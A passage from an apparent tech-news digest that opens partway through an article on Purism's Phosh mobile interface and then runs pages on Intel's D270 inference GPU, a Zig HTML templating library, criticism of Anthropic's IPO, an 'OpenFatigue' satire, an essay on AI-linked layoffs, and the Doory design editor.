In the end, Purism decided that it would be easier to create a new mobile interface, which it called Phosh (phone + shell), as a thin overlay on top of GTK plus GNOME middleware, than do dev work on one of the existing mobile interfaces. By basing Phosh on the standard desktop stack consisting of Linux + Wayland + wlroots + GTK + GNOME and adding code to roughly 20 GNOME applications to make them adaptive, Purism was able to take advantage of all the corporate support provided by IBM/Red Hat, SUSE, Canonical and Google for this stack. Purism had to submit code upstream to Linux, wlroots, ModemManager, GTK/GNOME and Matrix to support its mobile operating system, but then it could rely on those projects to maintain the code in the future. This was arguably a better strategy than helping develop Plasma Mobile, which has minimal corporate support, and was focused at the time on developing a separate stack than KDE’s desktop Plasma. Purism started working on its libhandy library in mid-2018 to add to standard GTK3/GNOME desktop applications to make them adaptive for a smaller mobile interface. Then the Purism developers worked with the GNOME community to develop libadwaita in 2020, so GTK4/GNOME could become adaptive between mobile and desktop screens.

As detailed in my article, “The strategic advantages of Phosh for mobile Linux,” unifying with an existing desktop stack and getting the broader community to adopt its software to help maintain it was arguably the best strategy to reduce the long-term maintenance costs, especially for a tiny company like Purism that has limited resources.

Unfortunately, developing a new mobile interface involved higher costs upfront, and Purism ran into financial problems during the global COVID-19 pandemic. In early March of 2020, Purism stopped paying refunds to customers who cancelled their preorders, telling customers that they would have to wait till the phone started shipping in order to get their refunds. Between February and May of 2020, 5 of the 14 developers working on the Librem 5 quit the project, and there was a noticeable drop in the number of software commits by the Purism employees who stayed, indicating that Purism probably wasn’t paying them.

Purism was caught in a hopeless situation. If it publicly admitted in early 2020 that it was having financial problems, all of the orders for its products would have dried up and the company would likely have gone bankrupt. If it paid out all the refund requests, it also would have likely gone bankrupt, which would have harmed everyone who had put down $599 – $799 to pre-order the Librem 5. Purism held off on paying refunds, which probably allowed the company to survive and eventually start delivering its phones in November 2020. However, it didn’t appear to have the funds on hand to manufacture all the pre-ordered phones, because the manufacture of the Librem 5 was done in small batches until it was caught by COVID’s global supply chain shortages and couldn’t procure the i.MX 8M Quad processors for 6 months during 2021.

Purism never repaid the refunds for the canceled Librem 5 orders. Angry customers waiting for their refunds publicly denounced the company on public forums, which blackened the company’s public reputation and suppressed sales of the Librem 5. The early reviews for the phone noted the poor battery life and the fact that critical functionality was still not implemented, such as the cameras, VoLTE support in the modem and the ability to suspend. In order to recoup its high development costs, Purism kept raising the phone’s price, until it reached an eye-watering $1299 in March 2022, which further suppressed sales of the phone.

Instead of refunds, Purism offered customers who had canceled their orders credit plus 20% extra to buy another product from Purism. Customers who received the Librem 5 were able to resell it for more than they paid, but many customers who had canceled their orders refused to do that on principal. In a letter to Louis Rossmann in August 2023, Purism admitted that it still had 600 cancelled Librem 5 orders, which it still didn’t have the finances to refund.

The success of Phosh despite its limited funding

Despite all the controversy surrounding the California-based company, its strategy of making a sustainable mobile OS by unifying with a popular desktop stack with good corporate support and upstreaming its code so it would be maintained over the long term has proven to be correct. Of the 469k lines of code in the software projects that Purism initiated for the Librem 5, 98.7% of that code is now controlled by external organizations. GNOME adopted libhandy, Calls and Chat (i.e. chatty) as official projects. In late 2020, the Purism developers started worked with the GNOME community to develop libadwaita to become the canonical implementation of GNOME’s human interface guidelines (HIG). Not only did this make GNOME’s GTK4 applications adaptive between the desktop and mobile environments, but it gained features like in-app notifications, customizable animations and speed/fluidity improvements. GNOME has continued developing its GNOME Shell on mobile based Mutter, which is its unified display server, compositor and window manager. In contrast, Phosh uses wlroots (a Wayland compositor library created by Sway) and its phoc (a Wayland compositor), which are lighter weight than Mutter. However, GNOME has helped promote Phosh by hosting its code and documentation at GNOME World to foster its development.

As Purism has cut its budget for code development, Phosh’s development has increasingly moved outside the company. FreeDesktop.org adopted feedbackd, which is a D-Bus activated daemon that provides haptic, visual and audio feedback in response to events. In February 2025, the non-profit association Phosh.mobi e.V. was created in Germany to guide the development of Phosh as an independent entity. Three of the nine founding members of Phosh.mobi were former or current Purism employees/contractors, including Guido Gunther, who is Phosh’s main developer.

Over the last five years, the amount of code in the projects that Purism created for the Librem 5 has grown by 74.9%, and much of that new code is being written by people who are no longer employed or contracted by Purism. The only code projects still controlled by Purism are gtherm, haegtesse and wys, which are DBus daemons for thermals, transfering modem audio and bringing up PulseAudio during calls, respectively. Together, these projects only represent 6173 lines or 1.3% of the total code.

In a survey that PINE64 took of 3079 PinePhone users in January 2022, 39.3% selected Phosh as their favorite interface, compared to 15.5% for Sxmo/Swmo, 15.0% for Plasma Mobile and 6.7% for Lomiri (formerly Unity8). Despite Phosh only starting its development in April 2018, more users preferred it over Lomiri and Plasma Mobile, which have been under development since March 2013 and July 2015, respectively. Purism’s strategy of using the existing infrastructure and applications from GNOME allowed the tiny company to create a usable interface faster than other competing interfaces.

It is surprising that Phosh became the most popular mobile Linux interface, considering that the Qt toolkit and KDE had such a head start over GTK and GNOME in supporting mobile environments. Qt Quick was introduced with Qt 5.1 in June 2013 to make Qt controls adaptive for small screens, and Qt Mobile was introduced in December 2013 to make them cross-platform, and KDE’s Kirigami library for adaptive applications was introduced in March 2016. GTK didn’t gain similar abilities until 2019 with libhandy and GNOME didn’t have an answer to Kirigami until libadwaita was introduced in 2021.

Phosh has some glaring limitations. Its default Squeekboard keyboard is basic and kludgy. Only in 2025 did Phosh gain an alternative keyboard with word correction and word completion, plus the ability to select from multiple characters by long pressing a key. The desktop mode in Phosh to output video to an external monitor or projector has a very limited interface. Phosh has no camera app, and most installations rely on Megapixels developed by Martijn Braam for the PinePhone or its Millipixels fork developed by Purism for the Librem 5. Millipixels only gained basic support for auto-focus and the ability to shoot video in January 2023.

Phosh doesn’t have the three buttons at the bottom or the swipe gestures from Android that most people are used to. Plasma Mobile’s interface is much closer to the familiar Android interface, and it is nicer visually. Phosh’s interface is much simplier. It doesn’t use system navigation buttons and has fewer configuration options than Plasma Mobile. A swipe from the bottom displays Phosh’s Overview screen where apps can be opened or closed. A swipe from the top displays a Quick-Setting panel, notifications, and buttons in the top corners to lock or turn off the phone.

Phosh Quick-Setting panel

Phosh Overview screen

Phosh became the more popular interface, partly because Purism was paying developers to work on it, so it was more stable, whereas Plasma Mobile was more prone to stalls and crashes. Plasma relies on hardware acceleration from the GPU to speed up its interface, which isn’t supported by the drivers for the A64 and i.MX 8M Quad in the PinePhone and Librem 5, whereas Phosh is faster and more responsive just using software rendering. Phosh also requires less RAM, although it does run more background processes that use more CPU.

Adoption of mobile interfaces by Linux distros

Phosh succeeded because its close adherence to a common desktop stack made it easier to package and distribute in different distros. Phosh was first adopted by postmarketOS (now Nura) in September 2018, just a two months after Purism first debuted it. The close ties between the Phosh developers and Debian helped get Phosh packaged into Debian in February 2020, where it became the basis of the new Mobian distro. Phosh allowed Debian, Arch, Manjaro, Fedora, OpenSUSE and NixOS to become mobile distros for the first time, which in turn encouraged Linux application developers to start testing their software in a mobile interface to see how it functioned on smaller screens. Because Phosh didn’t stay isolated in one Linux distro, it attracted more volunteers to he

The Daily Front Page 14 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Inference, at Rack Scale
article

Intel D270 GPU AI Accelerator–Up to 480 GB LPDDR5X

by hurricanepootis·▲ 253 points·124 comments·intel.com ↗
Scale inference, not infrastructure

Intel® GPU D-series

Scale inference, not infrastructure

Intel GPU.

Intel® GPU D270 │ Inference-Optimized Data Center GPU

Overview

Use cases

Features

Get started


Agentic AI is changing data center workloads

Agents read far more than they write: long contexts, multistep workflows, compute dominated by prefill. As demands grow, challenges expand beyond bandwidth. Intel D-series GPUs are built for this new era of agentic AI, efficiently handling larger contexts, more concurrent sessions, and more tokens within practical power and cost limits.

Intel data center GPU D270 product image.

Memory up to

480

GB

LPDDR5X per card

Power

350

W

Air-cooled

Compute

32

Xᵉ

Xᵉ3P cores

Compute

256

XMX

Xᵉ3P matrix engines

Scaling agentic AI

Agentic fleets

Over thousands of steps, 100K token contexts, and dozens of concurrent sessions, keep agents resident to help sustain throughput across the agentic loop.

Reasoning over more context

Whole-context reasoning

Keep more of the model and long context resident, for richer reasoning with fewer GPUs and no high bandwidth memory (HBM).

Economics of inference

Efficient token serving

Dense, air-cooled, standard PCIe infrastructure helps maximize tokens per rack and watt, scaling serving capacity and keeping costs in check.


More inference within the power and racks you already run

As agentic AI drives longer prompts and more concurrent sessions, customers need scalable infrastructure without trade-offs in power, cost, or deployment complexity. Intel GPU D270 offers up to 480 GB LPDDR5X memory for power-efficient, memory-bound inference in data center environments.

Intel data center GPU processor package with an exposed chip die.

Intel GPU.

Built for AI

Built for agentic workloads

Die area reallocated from graphics and ray‑tracing pipelines to Xᵉ3P cores and matrix compute, improving inference efficiency.

Built for compute

Compute where it matters

More prompt processing per watt: 32 Xᵉ3P cores and 256 XMX engines accelerate prefill, curbing long‑context and agentic costs.

Built for the workload

Precision for every workload

From native low‑precision inference to FP64 scientific computing, the workload determines the precision—not the hardware.

Built for efficiency

Standard PCIe 5.0

Standard form factor, standard interconnect, using existing servers. No proprietary networking or bespoke systems required.

Built for reliable power

350W air-cooled

Passive cooling in the racks you already run, with no liquid‑cooling retrofit needed between evaluation and deployment.

Built for your data center

Open by design

Zero-day support for leading open models, served on the frameworks you already run: vLLM and the open PyTorch ecosystem.


Workload-first compute for modern AI

Deliver an intelligent evolution in data center infrastructure. Built for the new era of AI inference.

Frequently Asked Questions

What is Intel GPU D270?

Intel GPU D270 is an inference-optimized data center GPU designed for the agentic AI era. It is built to support enterprise AI, SaaS, GPUaaS, and government or sovereign-cloud deployments that need memory-rich, power-efficient AI acceleration.

What types of AI workloads is Intel GPU D270 designed to support?

Intel GPU D270 is designed for production AI inference workloads such as agentic AI, long-context retrieval-augmented generation (RAG), enterprise AI assistants, coding assistants, document understanding, multimodal AI, diffusion models, and high-concurrency serving.

Why is Intel GPU D270 relevant for agentic AI?

Agentic AI often turns one task into multiple rounds of model calls, tool use, retrieval, reasoning, and response generation. Intel GPU D270 is designed for the inference requirements that become important in those environments, including prefill processing, larger context, memory capacity, concurrency, and power efficiency.

What does “inference-optimized” mean for Intel GPU D270?

Inference-optimized means the GPU is designed for running AI models in production rather than training them at massive scale. Intel GPU D270 focuses on the needs of deployed AI applications, including prompt processing, high-concurrency serving, memory capacity, efficient power use, and system-level performance.

How does Intel GPU D270 help with long-context AI workloads?

Long-context AI workloads can require more memory to support larger prompts, retrieval-heavy workflows, and KV cache growth during inference. Intel GPU D270 is designed with high available memory capacity to help support larger models, longer context, and more concurrent sessions.

What software frameworks are relevant to Intel GPU D270?

Intel GPU D270 messaging should reference familiar AI software and serving frameworks such as PyTorch, vLLM, SGLang, and OpenAI Triton, where approved. This helps developers and platform teams understand how the product fits into existing AI workflows.

Can Intel GPU D270 be used in existing data center infrastructure?

Intel GPU D270 is designed around a standard PCIe 5.0 form factor and air-cooled deployment profile, helping enterprises evaluate AI inference acceleration within existing data center environments without requiring a specialized liquid-cooling retrofit.

Who is the primary audience for Intel GPU D270?

The primary audience includes AI system architects, AI platform architects, infrastructure and cloud engineering leaders, enterprise AI decision-makers, SaaS providers, GPUaaS providers, government or sovereign-cloud teams, and developers deploying production inference workloads.

What should customers do if they want to learn more about Intel GPU D270?

Customers should connect with Intel to learn more about Intel GPU D270, evaluate how it may fit their AI inference roadmap, and receive updates as additional product information becomes available.

Disclaimers

Performance projections vs RTX Pro 6000 are based on publicly available information and Intel internal analysis as of Feb 2026. Performance varies by use, configuration, and other factors. Memory capacity comparison at comparable bandwidth.

The Daily Front Page 15 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Templates at Compile Time
article

Type-safe HTML templating in Zig

by lukaslalinsky·▲ 244 points·95 comments·lalinsky.com ↗
I’d never have imagined I’d be considering web development in such a low-level language.

I’ve done a lot of web development over the years. I started around the year 2000, just after PHP 3.0 was released and started taking over the web world. I’ve used all kinds of approaches for generating HTML: raw PHP, string concatenation in Python, Smarty templates in PHP, Template Toolkit in Perl, and Jinja/Django templates in Python. Then, as the world moved on to SPAs and JavaScript frameworks, I stopped working on frontends.

Two years ago, I picked up Zig, and I’d never have imagined I’d be considering web development in such a low-level language. But as I was building my own ecosystem with zio and Dusty, I realized it’s not that far-fetched. I built these libraries for API backends, where the output is JSON or MessagePack, but then I saw that with proper use of arena allocators, even web development is actually manageable, since you don’t need to remember to deallocate all the strings that are typically involved. And with Zig’s comptime, you can build very high-level interfaces without losing the performance benefits. And with the help of htmx or Datastar, you can even build SPAs without touching JavaScript/TypeScript, which I promised myself I’d never do.

That said, one thing was still missing: templating. String concatenation was not an option, I didn’t want to go back to the pre-2000 CGI days. I had a few requirements for a templating library:

  1. It has to be type-safe, with all inputs typed and checked at compile time. I’ve dealt with dynamic languages enough in my life, and I don’t want to deal with runtime template errors anymore.
  2. It has to be fast. No allocations, no intermediate state, just write the output to std.Io.Writer directly.
  3. It needs to have safe defaults. I don’t want to deal with XSS anymore, so all inputs have to be escaped by default.
  4. It should still feel like writing HTML. I didn’t want a Zig-based DSL I’d have to fight constantly.

I couldn’t find any solution that would satisfy all these requirements. Then I saw Ziex and I was amazed. It never occurred to me that the JSX approach could be done outside of JavaScript. The developer experience Nurul Huda managed to build in Zig was just unimaginable to me. It didn’t fit my needs directly, because I didn’t want a WASM framework, but the syntax and his approach to integrating Zig code into templates gave me some ideas. Then, after further research, I discovered Templ for Go, and it was pretty obvious to me what I wanted to build.

So, let me present zt (I’m not good at naming, sorry). It’s an adaptation of Templ to Zig. The templates are parsed and transpiled to Zig code during zig build. That means you can import them directly from your app code, but also, perhaps even more importantly, the templates can import your app code. As a result, all parameters can be fully typed. If something can’t be rendered, the Zig compiler will tell you so. The generated code is fairly simple, all it does is write to a std.Io.Writer. You can write directly to a socket or accumulate the output in a buffer, your choice. Here is what a template looks like:

const User = @import("../models.zig").User;

pub templ Layout(title: []const u8) {
    <!DOCTYPE html>
    <html>
        <head>
            <title>{title}</title>
        </head>
        <body>
            @children
        </body>
    </html>
}

pub templ HomePage(user: ?User) {
    @Layout("Home") {
        if (user) |u| {
            <h1>Welcome back, {u.name}!</h1>
            <a href="/users/{u.id}">Your profile</a>
        } else {
            <h1>Welcome, guest!</h1>
            <a href="/login">Log in</a>
        }
    }
}

And here is how you would use it from Zig code:

const std = @import("std");
const User = @import("models.zig").User;
const pages = @import("templates/pages.zig");

pub fn main(init: std.process.Init) !void {
    var buf: [4096]u8 = undefined;
    var stdout = std.Io.File.stdout().writer(init.io, &buf);
    const w = &stdout.interface;

    const user: User = .{ .id = 1, .name = "Lukas" };
    try pages.HomePage.render(.{user}, w);
    try w.flush();
}

If you want to use it inside Dusty to render an HTML page, you just do this:

try res.render(.html, pages.HomePage, .{user});

As a side note, the main snippet above has a very non-obvious bug in error handling if you use the same pattern somewhere std.Io cancellation matters. I’ll probably write a blog post about it, but if you are interested, check out this Ziggit thread. The render function in Dusty that wraps the std.Io.Writer handling solves it.

All dynamic values are HTML-escaped by default, both in text and in attributes, and values in URL attributes like href or src are also checked for dangerous schemes. If you really need to output raw HTML, you have to ask for it explicitly with {!value}, so it’s easy to spot in the template. The parser also requires all elements to be properly closed, so you can’t accidentally produce broken markup. It won’t protect you from everything, but it removes the most common sources of XSS.

What I like the most is that template errors are just Zig compiler errors. If you make a typo in the template above and write {u.nmae} instead of {u.name}, zig build will tell you:

src/templates/pages.zig:45:43: error: no field named 'nmae' in struct 'models.User'
            try zt.writeEscaped(writer, u.nmae); // pages.zt:18:31
                                          ^~~~
src/models.zig:1:18: note: struct declared here
pub const User = struct {
                 ^~~~~~

The error points to the generated code, but each line has a comment with the location in the original template. The same applies to the calling side, if you try to pass a string where HomePage expects a ?User, it won’t compile.

Beyond the basics shown here, you can build reusable components and pass them around as values, and with @children you can build layouts that wrap other templates, which covers what you’d use template inheritance for in other languages. Control flow is just Zig, so if, for and switch work as you’d expect, including payload captures. All of it still compiles down to a sequence of writes, without any allocations.

You can have a look at the TODO example in Dusty. It’s a simple htmx-based web app that showcases this library, plus other parts of Dusty that are needed for building a dynamic SPA.

One part of the syntax is still open. Block-level control flow is written as plain Zig, following the example of Templ, so a line starting with if, for or switch is parsed as code. That means text like “if you forgot your password…” on its own line is a parse error, and you have to wrap it in an element or write it as a string expression. I’m considering switching to @if, @for and @switch, similar to Razor or Twirl, which would remove the ambiguity, at the cost of slightly noisier templates. If you have an opinion on this, please leave a comment in this GitHub issue.

Although multiple people are already using it, the project is not very mature yet, so I welcome any feedback. You can open a GitHub issue if you find any problems, or ping me on the Zig Discord.

The Daily Front Page 16 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The IPO Skeptics
article

Research Firm Calls Anthropic's IPO 'Unprecedented Test of Investor Gullibity'

by m463·▲ 241 points·216 comments·cnbc.com ↗
the most ridiculous IPO of 2026

Key Points

  • Research firm New Constructs wrote in a note on Tuesday that Anthropic's IPO would be "the most ridiculous IPO of 2026," posing a historic risk to financial markets.
  • Anthropic is reportedly seeking a $2 trillion valuation in its upcoming Nasdaq listing.
  • The company's growing operating losses, combined with the rise in popularity of open-source models, leaves Anthropic without a "viable business," according to the report.

Anthropic CEO Dario Amodei speaks during the keynote address at Salesforce's Dreamforce conference at the Moscone Center on Sept. 15, 2026 in San Francisco, California.

Benjamin Fanjoy | Getty Images

As Anthropic barrels toward a potential $2 trillion market cap on the Nasdaq, one research firm is valuing the artificial intelligence company at a mere $150 billion and says Wall Street is about to face an "unprecedented test of investor gullibility."

In a report on Tuesday, independent financial research provider New Constructs called Anthropic's upcoming offering the "most ridiculous IPO of 2026."

To reach its desired valuation, the firm estimates Anthropic would need to record double the trailing year of profit for Nvidia, the world's most valuable tech company. Nvidia's net income over the past four quarters topped $190 billion. Meanwhile, Anthropic's revenue in 2025 was $4.6 billion as the company racked up a net loss of $42 billion, according to Reuters, which cited a leaked copy of the company's prospectus.

Anthropic's mounting operating losses coupled with emerging competition from a plethora of open-source models led New Constructs to conclude that, "We don't think Anthropic has a viable business."

"Since the arrival of open-source models, it's been clear that the closed models would struggle to generate profits," the firm wrote.

David Trainer, founder and CEO of New Constructs, has built a reputation on Wall Street as a notorious bear on IPOs. He's been right in the past.

New Constructs called WeWork "the most ridiculous IPO of 2019," ahead of the office-sharing company's planned offering. WeWork had been valued privately at $47 billion, but just six weeks after the New Constructs report, the company pulled its IPO amid weak demand and intense criticism surrounding its financials. WeWork filed for bankruptcy in 2023.

"While Anthropic offers more to society than WeWork ever did, at a $2 trillion valuation, its IPO presents far bigger risks and is positioned to be a far bigger rip off of U.S. capital markets," New Constructs wrote, adding that the IPO's purpose isn't to provide wealth for public markets investors, but rather liquidity for the company's Wall Street backers.

Anthropic didn't respond to a request for comment.

New Constructs was also bearish on Allbirds' IPO in 2021. The shoe company debuted on the Nasdaq and reached a valuation of $4.1 billion on its opening day. Earlier this year, the company sold its assets to American Exchange Group for an estimated $39 million, pivoting to AI in the process.

Trainer's firm has also missed the mark on calls. Its "most ridiculous" 2020 IPO choice was DoorDash, which the firm also compared to WeWork, calling the food delivery company "similarly disadvantaged."

However, DoorDash has held up on the public market. The stock shot up on its first day in December 2020, giving the company a market cap of over $60 billion. That number has since swelled to $83 billion.

In an interview with CNBC in 2021, Trainer acknowledged that "crazy stuff happens" and New Constructs doesn't always get it right.

"I can't let that bother me," he said at the time. "I have to stay true to what I think is right."

Anthropic still hasn't made its prospectus public, so New Constructs hasn't seen the actual filing. However, the firm cited figures that have been reported, including from the New York Times, which reported in September that the company was on pace to generate $100 billion in annualized revenue by the end of 2026.

Anthropic claimed at the end of July that its annualized revenue run rate was up sevenfold year-over-year to $65 billion.

The New Constructs report also notes that Anthropic's assertion that AI could pose "a catastrophic or existential risk to humanity" is another reason why investors should avoid the IPO.

"While we were not fortunate enough to be one of the few to whom Anthropic's S-1 was selectively disclosed, the reports of the leaked financials reveal more than enough to assess the gargantuan risks of investing in this IPO," New Constructs wrote.

WATCH: TechCheck: Is Anthropic’s IPO imminent?

TechCheck: Is Anthropic's IPO imminent?

The Daily Front Page 17 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Open, Until It Hurts
article

OpenFatigue™ – Open is the new closed

by ajcp·▲ 224 points·50 comments·openfatigue.ai ↗
The word has been opened so many times it no longer closes.

Open is the new open closed.

OpenChamber. OpenAI. Open WebUI. OpenDoor. OpenTable. OpenClaw. Open weights. Open this. Open that. The word has been opened so many times it no longer closes. OpenFatigue™ is the first fully Open-branded platform for people who are exhausted by fully Open-branded platforms.

*Free as in “free trial.” Not free as in freedom. Not free as in beer. Free as in “we'll email you.”

Trusted by companies who are also Open™

  • OpenAI
  • OpenTable
  • Opendoor
  • Open WebUI
  • OpenChamber
  • OpenClaw
  • Open Weights
  • OpenThis
  • OpenThat
  • OpenOpen

Logos withheld to remain open about our closed relationship with trademark law. None of these companies endorse us. Most have never heard of us. That's fine. We're tired.

Everything you expect from Open. Nothing you expect from open.

Open-ish Licensing

Our license is open for anyone to read. Using, modifying, or distributing the software is a separate conversation with Legal.

Weights Available*

Download our model weights after agreeing to a 41-page acceptable use policy, a monthly-active-user cap, and a vibe check.

Source Visible

We publish a high-resolution screenshot of our source code every quarter. Pull requests may be submitted by fax.

Community Edition

Built by a vibrant community of one (1) maintainer, currently on sabbatical. Enterprise Edition includes the other features.

Open Door Policy

Our door is always open. The building is badge-access only. The badge reader is closed source.

Open Roadmap

Our roadmap is completely public, entirely aspirational, and subject to change by a non-profit board that may or may not exist next week.

How open is your Open?

Drag the slider to calibrate your openness to industry standards.

Raise a seed round in one click.

Every great company starts with “Open” and a noun. We automated the noun.

Our proprietary openness classifier.

Enter any product. Our closed-source model will tell you how open it is.

Open pricing.†

Open

$0/mo*

  • Read the README
  • Star the repo (required)
  • Join the Discord (read-only)
  • Run the software

Open Pro

$49/mo/seat/token/vibe

  • Everything in Open
  • Weights, with a 41-page AUP
  • “Open” in your email signature
  • Commercial use under 700M MAU

Open Enterprise

Contact Sales

  • Everything in Open Pro
  • See the source (in a room, supervised)
  • A dedicated Openness Success Manager
  • We'll stop calling it open, upon request

† Pricing is open to interpretation. * Excludes inference, storage, egress, ingress, regress, tokens, the tokens used to count tokens, and vibes.

Loved by people who are very, very tired.

“I tried to make a restaurant reservation and accidentally fine-tuned a language model. OpenFatigue finally made me feel seen.”

— Dana K., Fictional Person

“My open-source project got forked into a closed product called OpenMyProject. Now I just lie on the floor.”

— Sam R., Maintainer (unpaid)

“We renamed our company from ClosedCorp to OpenCorp. Changed nothing else. Series B closed in 48 hours.”

— Chad, Founder & Chief Openness Officer

“I bought a house through an app called Open-something and now I don't know if I own a home or a model checkpoint.”

— Priya M., Homeowner (probably)

“The OSI definition is right there. It's been right there since 1998. Nobody reads it. I read it every night.”

— Anonymous, Open Source Definition Enjoyer

“10/10. Would open again.”

— OpenClaw (a claw)

Do you have OpenFatigue?

Consult your nearest four-freedoms practitioner if symptoms persist for more than one funding cycle.

You flinch when a press release says “open.”

This is the most common early symptom. Your brain has learned that “open” now precedes words like “waitlist,” “API key,” and “enterprise tier.” This is a healthy defense mechanism.

You've started checking the LICENSE file before the landing page.

Congratulations — you are developing immunity. Look for phrases like “acceptable use,” “non-commercial,” “field of use,” and “we reserve the right.” None of those are open source. Real open source licenses let you use, study, modify, and share — for any purpose.

You can no longer tell if “Open___” is a startup, a door, or a restaurant.

Neither can we. One of them sells houses, one books dinner, one serves models, one is a chamber, one is a claw. We stopped asking. Please do not open the claw.

You say “open weights” with air quotes, out loud, unprompted.

Weights without training data, training code, or a permissive license are a binary you're allowed to download. It's nice! It's just… a binary you're allowed to download.

So what does “open source” actually mean?

The term has a specific, published definition from the Open Source Initiative, and there's also an Open Source AI Definition. Supporting projects that meet them is the only known cure for OpenFatigue.

Ready to open up?

Join 8,412,903 people who have clicked a button labeled “Open” and found a form.

The Daily Front Page 18 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — The Last Engineer
article

Fable Took My Job

by jllyhill·▲ 220 points·355 comments·cendyne.dev ↗
Fable was cheaper than my compensation.

Its true. In a manner of speaking. If LLMs had not reached Fable / Mythos tier of marketed intelligence, I'd probably still have a job with the place I used to be at. For a short while.

It wasn't that Fable was better at my job. As the last engineer, Fable was cheaper than my compensation. Evidently, it gave enough confidence to the last vestiges of leadership that they could coast until M&A.

snake-shrug

I've been through layoffs driven by budget cuts. I had to mechanically justify "I need this person because this product I'm oversee is critical to the business and still needs ownership" against a budget ceiling. Those I trusted to build out a greenfield product had their positions eliminated. The status quo was more important to maintain than resolving our operational issues with the next generation of our infrastructure.

That first meeting crushed my soul. I heard my ears ring more violently than ever. The color drained from the world. I could barely walk straight.

And, the next day, I went to a house party with two of my reports present knowing that both of them would lose their job next week with zero notice.

I know first hand what it is like to know and later execute on a layoff.

Finally, it was my time. I've had grief several times expecting it to come earlier. When it finally came, I took it well for a few hours.

my-heart

Then my heart went to over 100 bpm as the fear and doubt for my future set in. And it didn't ease off for over a week.

Do you know how hard it is to sleep when all you can hear is your own heartbeat? Do you know how hard it is to function with four effective hours of sleep when you offer your body ten? It is rough.

Several in my social circles are having difficulty too. Six or Seven in a DevOps interest group have been laid off or have received a layoff notice in the last month. Work at one of FAANG of all places and oops, you're not important now! Here's 6 months of severance, we're so nice. "Ship happens" oh right, we can't ship your stuff because of some material restriction or let you pick up a box with some dignity, so we destroyed your stuff. GLHF.

Then there's that hiring manager who interviewed me at another company who then got laid off one week later because the CEO made a substantively late "AI is changing how we develop software" article. And another who lost their whole team, despite actively interviewing people in the USA, because a top-down decision was to offshore again after AI assistance raised the capability of work for the less passionate, less experienced, and less costly workforce.

"AI took my job" is far more fun to say than "AI contributed to my role being eliminated."

The frontier models are not good enough to replace an experienced engineer. They still are not, even though the marketing by the US frontier labs (and their 'I quit because I'm scared' employees) scream of what's to come.

These models lack the taste that makes for effective product decision making. It is cheaper than ever for a product manager to say "Someone complains about this on reddit, let's implement it", while the tasteful leader says 'No, that's not what our product is. Making that means we commit to it for a long time and our customers really want {something else we already do, but not perfectly} instead.'

These models lack the foresight to predict consequences weeks, months, years down the line on decisions and commitments — in operating costs, complexity, accessibility, and affordability to the very customers the product is for. All those secondary things really matter in making a product successful and worth buying. The slop services out there omit these secondary things all the time and you can taste it.

And yet, models are evidently able to give Shopify the confidence to yeet react-native out into the ocean and reach back to native iOS and android apps, entirely machine-coded while overseen by otherwise experienced and tasteful software developers.

snake-battery-ocean

And, I agree with Shopify. Models are getting good enough where they can be driven step by step, with a carefully crafted harness, to reproduce and port the behaviors they've A/B tested into oblivion as humans. They can push a rock up a hill. Then up the next hill, and so on — when the technique can be measured and check-pointed.

Agents are terribly good at copying things across domains. Just look at Theo's "for the memes" typescript in rust port. It ported the ts-go code to rust. According to Theo, Opus 5.5 reproduced bugs from the go version in the rust version exactly. On the other hand, Astra (the rival to Fable), failed at something so familiar, well known, and well documented.

We're heading towards the end of the year and I still do not see how these copy-machines with "super intelligence" inside are going to replace humans. What they have done is convince those with money to spend differently on their fellow humans.

Anyway, I got something else now. I get to see screens like this all day:

hmm hmm hmm hmmm

The joy of programming is dying. The joy of delivering results lives on.

I keep hallucinating

I'm starting to think Frontier lab employees are going crazy because they're staring at this all day.

The Daily Front Page 19 of 30
Monday, October 12, 2026 The Daily Front No. #261012 — Design Tools, Reopened
repository

Doory – Open-Source Canva

by acley·▲ 219 points·77 comments·github.com ↗
★ 956⑂ 44 forks TypeScript

Open source canva alternative

Doory, the open-source Canva alternative

Doory is a full design editor that runs in your browser. Make posters, social posts, stories, slides, invitations, resumes, thumbnails and business cards: start from a template or a blank page, edit everything, and export to PNG, JPG, SVG, PDF, MP4 or GIF. Every feature is free, nobody needs an account to start, and you can run the whole thing on your own server.

🎬 See it in action

A real recording of Doory: picking the gig poster template, renaming the band, recolouring the dates, adding a star and opening the export menu

A real, unedited recording: pick a template, rename the band, recolour the dates, add a star, export.

💜 Why people pick Doory

🆓 Free, for real

No Pro plan, no locked templates, no watermarks, no ads. Every tool in the editor is there for everyone, from background removal to video export.

⚡ Start in one click

Open the editor and design. Guests' work is saved in the browser; create an account only when you want your designs in the cloud, and they move over in one step.

🏠 Yours to host

One docker compose up runs the app, the API, the database and live collaboration on your own server. Every design and upload stays under your control.

🛠️ A real editor

Layers, groups, masks, filters, curved text, snapping, rulers, multi-page designs, animation, audio, presenting, comments and real-time co-editing.

🎨 Everything you need to design

The Doory editor with the gig poster template open

Edit anything

Click any text, shape or photo to change it. Fonts, colours, sizes, alignment and effects are one click away in the toolbar above the page.

The Animate panel with enter, exit and emphasis animations

Bring it to life

27 enter and exit animations, 12 emphasis effects and 16 page transitions, with music and sound effects from a built-in library. Present it, or export it as a video.

The Layers panel with its right-click menu

Stay organised

Every object is a layer you can rename, lock, hide, reorder by dragging, group, or right-click to copy, duplicate, delete and arrange.

The export menu: PNG, JPG, PDF, SVG, video and GIF

Export anywhere

PNG with transparency, JPG, SVG and PDF, plus MP4, WebM and animated GIF, all made in your browser. Need print? Get a print-ready PDF with bleed and crop marks.

See the full feature list

Text Headings, curved text, text effects, font pairings, bulleted and numbered lists, an open-licensed font catalogue and your own uploaded fonts Elements Shapes, lines and arrows, about 25,000 icons, emoji and illustrations, stickers, QR codes Photos Upload, crop, masks and filters, one-click background removal (the model runs in your browser), stock photo search with an Unsplash or Pexels key Layout Layers with lock and hide, groups, alignment guides, snapping, rulers, multi-page designs with pages of different sizes, magic resize Motion 27 enter and exit animations, 12 emphasis animations and 16 page transitions on a timeline Sound A built-in library of 24 music loops and 88 sound effects (CC0), uploads, voiceover recording, trims and fades Present Present mode with speaker notes, timing, auto-advance, a laser pointer and a second presenter window Together Share links that can view, comment or edit (optionally password protected), pinned comments, version history and real-time co-editing with live cursors Brand Brand kits with your colours, fonts and logos, one click away in every design Export PNG, JPG, SVG and PDF, MP4, WebM and animated GIF, all made in the browser, plus print-ready PDF with bleed and crop marks

🖼️ Templates that look good from the start

